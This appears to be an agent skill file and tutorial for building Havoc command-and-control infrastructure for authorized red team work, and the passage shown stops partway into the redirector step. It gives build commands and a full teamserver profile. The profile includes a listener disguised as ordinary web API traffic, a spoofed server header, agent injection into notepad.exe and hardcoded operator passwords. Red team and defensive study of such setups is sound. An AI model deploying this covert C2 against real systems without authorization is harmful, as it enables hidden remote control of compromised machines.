/building-red-team-c2-infrastructure-with-havoc

name: building-red-team-c2-infrastructure-with-havoc
description: Deploy and configure the Havoc C2 framework (teamserver, HTTPS/HTTP/SMB
  listeners, Nginx redirectors, and Demon agents) with malleable traffic profiles and
  OPSEC-hardened infrastructure for authorized red team operations. Use when standing
  up or hardening Havoc C2 infrastructure for a written, authorized adversary emulation
  engagement.
domain: cybersecurity
subdomain: red-teaming
tags:
- havoc-c2
- command-and-control
- red-team-infrastructure
- post-exploitation
- adversary-emulation
- demon-agent
version: '1.0'
author: mahipal
license: Apache-2.0
nist_ai_rmf:
- GOVERN-1.1
- MEASURE-2.7
- MANAGE-3.1
d3fend_techniques:
- File Metadata Consistency Validation
- Certificate Analysis
- Application Protocol Command Analysis
- Content Format Conversion
- File Content Analysis
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1071.001
- T1573.002
- T1583.001
- T1090.002
- T1105
- T1055

Building Red Team C2 Infrastructure with Havoc

Overview

Havoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP/HTTPS/SMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.

When to Use

• When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment
• When establishing security controls aligned to compliance requirements
• When building or improving security architecture for this domain
• When conducting security assessments that require this implementation

Prerequisites

• Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)
• Kali Linux 2023+ (for Client)
• VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)
• Domain name aged 30+ days with valid SSL certificate
• Written authorization for red team engagement

Architecture

┌──────────────────────────────────────────────────────────────┐
│                    HAVOC C2 ARCHITECTURE                      │
├──────────────────────────────────────────────────────────────┤
│                                                               │
│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │
│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │
│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │
│  │  (Kali)   │     │  (Nginx/CDN) │     │                  │ │
│  └──────────┘     └──────────────┘     └──────────────────┘ │
│       │                   │                                   │
│       │           ┌──────────────┐                            │
│       └──────────▶│  Havoc       │                            │
│                   │  Teamserver  │                            │
│                   │  (Ubuntu VPS)│                            │
│                   │  Port 40056  │                            │
│                   └──────────────┘                            │
│                                                               │
└──────────────────────────────────────────────────────────────┘

Step 1: Install Havoc Teamserver

# Clone the Havoc repository
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

# Install dependencies (Ubuntu 22.04)
sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \
    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \
    python3-dev libboost-all-dev mingw-w64 nasm

# Build the Teamserver
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build

# Build the Client
make client-build

Step 2: Configure Teamserver Profile

Create the Havoc profile (`havoc.yaotl`):

Teamserver {
    Host = "0.0.0.0"
    Port = 40056

    Build {
        Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "operator1" {
        Password = "Str0ngP@ssw0rd!"
    }
    user "operator2" {
        Password = "An0th3rP@ss!"
    }
}

Listeners {
    Http {
        Name         = "HTTPS Listener"
        Hosts        = ["c2.yourdomain.com"]
        HostBind     = "0.0.0.0"
        HostRotation = "round-robin"
        PortBind     = 443
        PortConn     = 443
        Secure       = true
        UserAgent    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

        Uris = [
            "/api/v2/auth",
            "/api/v2/status",
            "/content/images/gallery",
        ]

        Headers = [
            "X-Requested-With: XMLHttpRequest",
            "Content-Type: application/json",
        ]

        Response {
            Headers = [
                "Content-Type: application/json",
                "Server: nginx/1.24.0",
                "X-Frame-Options: DENY",
            ]
        }
    }
}

Demon {
    Sleep  = 10
    Jitter = 30

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Step 3: Start Teamserver

# Start the Havoc Teamserver with the profile
./havoc server --profile ./profiles/havoc.yaotl -v

# Expected output:
# [*] Havoc Framework [Version: 0.7]
# [*] Teamserver started on: 0.0.0.0:40056
# [*] HTTPS Listener started on: 0.0.0.0:443

Step 4: Configure HTTPS Redirector

Set up an Nginx revers